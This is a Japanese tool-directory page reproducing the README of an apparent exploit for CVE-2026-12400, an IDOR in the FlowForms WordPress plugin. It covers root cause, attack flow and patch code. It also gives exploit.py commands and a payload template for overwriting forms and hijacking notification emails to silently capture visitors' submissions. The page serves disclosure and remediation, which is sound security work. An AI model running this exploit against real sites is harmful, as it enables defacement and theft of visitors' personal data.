Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテスト学習と教育
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

認証済みWordPress IDORエクスプロイト(CVE-2026-12400用)。FlowForms RESTフォームIDを列挙し、フォームコンテンツを改変したり、メール通知を乗っ取ったりします。

リポジトリを見る
132ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-12400 — FlowForms IDOR: 不正なフォーム変更

認証済み(Contributor+)によるFlowForms ≤ 1.1.1 における安全でない直接オブジェクト参照による任意のフォーム変更

脆弱性の概要

プロパティ値
CVE IDCVE-2026-12400
CVSS スコア4.3 — 中
CVSS ベクトルCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (ユーザー制御キーによる認証バイパス)
製品FlowForms — WordPress 会話形式フォームビルダープラグイン
影響を受けるバージョンバージョン 1.1.1 までのすべてのバージョン
修正バージョン1.1.2 で修正
研究者Phantom Hat

技術的分析

ソースコード分析、入力フロートレース、パッチ差分を含む完全なホワイトボックスケーススタディ:

📄 CVE-2026-12400 Case Study — Medium

攻撃対象領域

FlowForms は flowforms/v1 名前空間の下に脆弱な2つのREST APIエンドポイントを公開しています:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

両方ともURLパス内のユーザー制御の {id} を受け入れ、対象フォームのデータ(名前、コンテンツ、レイアウト、リダイレクトURL、メール通知受信者)を変更します。

根本原因

両方の脆弱なルート登録は同じ欠陥のある permission_callback を共有しています:

root@kitploit:~
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts は Contributor が持つ権限です。{id} パラメータはリクエストユーザーの所有権に対してチェックされることはなく、認証されたユーザーであればサイト上の任意のフォームIDを対象にできます。

攻撃フロー

root@kitploit:~
Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Authenticate as Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Harvest REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerate published forms
        │<─ HTTP 200 ───────────────────────│      (any accessible form is a target)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Overwrite form name / content
        │       with attacker payload ─────>│       ← no owner check
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Hijack email notifications
        │       /settings ─────────────────>│       ← attacker receives all
        │<─ { "success": true } ────────────│         future form submissions
        │                                   │
        │   All 3 attack vectors confirmed  │  (5) Name ✔  Content ✔  Email ✔

3つの攻撃ベクトル

モードエンドポイント影響
name/forms/{id}任意のフォームの名前変更 — 改ざん、ソーシャルエンジニアリング
content/forms/{id}レイアウト、ようこそ/感謝画面、リダイレクトURLを上書き
email/forms/{id}/settings通知メールを乗っ取り — すべてのフォーム送信を静かに受信

email モードが最も重要です。乗っ取った後、被害者のお問い合わせフォームへのすべての送信(訪問者の個人情報、メッセージ、連絡先詳細を含む)は、攻撃者制御のアドレスに静かに転送されます。サイト管理者は変更の痕跡を見ることができません。


エクスプロイトの使用方法

前提条件

  • Python 3.8+
  • 対象サイトで少なくとも Contributor ロールを持つ認証済みアカウント

インストール

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

操作モード

名前の変更

任意のフォームを攻撃者制御のコンテンツに名前変更:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

コンテンツの変更

フォームのレイアウト、画面、リダイレクトURL、背景画像を上書き:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

メール通知の乗っ取り (最高の影響)

将来のすべてのフォーム送信通知を攻撃者制御のアドレスにリダイレクト:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

プロキシ経由(Burp Suite)

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

全フラグリファレンス

フラグ短縮説明必須
--url-u対象WordPress URL✅
--userWordPressユーザー名(Contributor+)✅
--passwordWordPressパスワード✅
--id-start-i列挙の開始フォームID✅
--num-forms-n列挙するフォームIDの数✅
--exploit攻撃モード: name / content / email✅
--proxy-pプロキシURL(例: http://127.0.0.1:8080)❌

ペイロードのカスタマイズ

JSONペイロードテンプレート(NAME_EDIT、CONTENT_EDIT、EMAIL_EDIT)はスクリプトの先頭で定義されています。実行前に編集して攻撃コンテンツをカスタマイズしてください — 通知メールアドレス、リダイレクトURL、背景画像、フォームタイトルなどを変更します。

root@kitploit:~
# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← change this
                    ...
                }
            }
        }
    }
}""")

エクスプロイトのワークフロー

エクスプロイトは3つの自動化ステップを実行します:

ステップ1 — 認証 攻撃者(Contributor)としてログインし、wp-admin/post-new.php から有効なREST API nonceを取得します。

ステップ2 — フォームの列挙 指定されたID範囲で GET /flowform/{id} をスキャンします。HTTP 200を返すIDがアクセス可能なターゲットとして収集されます — これらは管理者を含むサイト上の任意のユーザーが所有する公開フォームです。

ステップ3 — エクスプロイト 選択されたモードに応じて、保護されていないRESTエンドポイントに対応するペイロードを送信します:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

サーバーはリクエストを受け入れ、所有権チェックなしで変更を適用します。


修復策

対応詳細
パッチ両方のエンドポイントで一般的な edit_posts チェックを current_user_can('edit_post', $form_id) に置き換える — 機能チェックを特定の投稿オブジェクトにバインドすることでWordPressの所有権ルールを強制する
緩和策パッチが適用されるまで、プラグインが有効な場合は Contributor および Author ロールを制限する

安全な実装

root@kitploit:~
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

参考資料

  • CWE-639 — Authorization Bypass Through User-Controlled Key
  • register_rest_route() — WordPress Developer Docs
  • current_user_can() — WordPress Developer Docs
  • FlowForms Plugin — WordPress.org

プロジェクト構成

root@kitploit:~
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Polished exploit with rich UI (3 modes)
├── requirements.txt            # Python dependencies
└── README.md                   # This file

免責事項

このツールは、許可されたセキュリティテストおよび教育研究目的のみで提供されます。 コンピュータシステムへの不正アクセスは、該当する法律の下で世界中で違法です。 作者は本ソフトウェアの誤用に対する一切の責任を負いません。 所有していないシステムをテストする前に、常に明示的な書面による許可を得てください。


著者

Phantom Hat — 独立系セキュリティ研究者

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

この研究は責任ある脆弱性開示の一環として実施されました。

ツールをダウンロード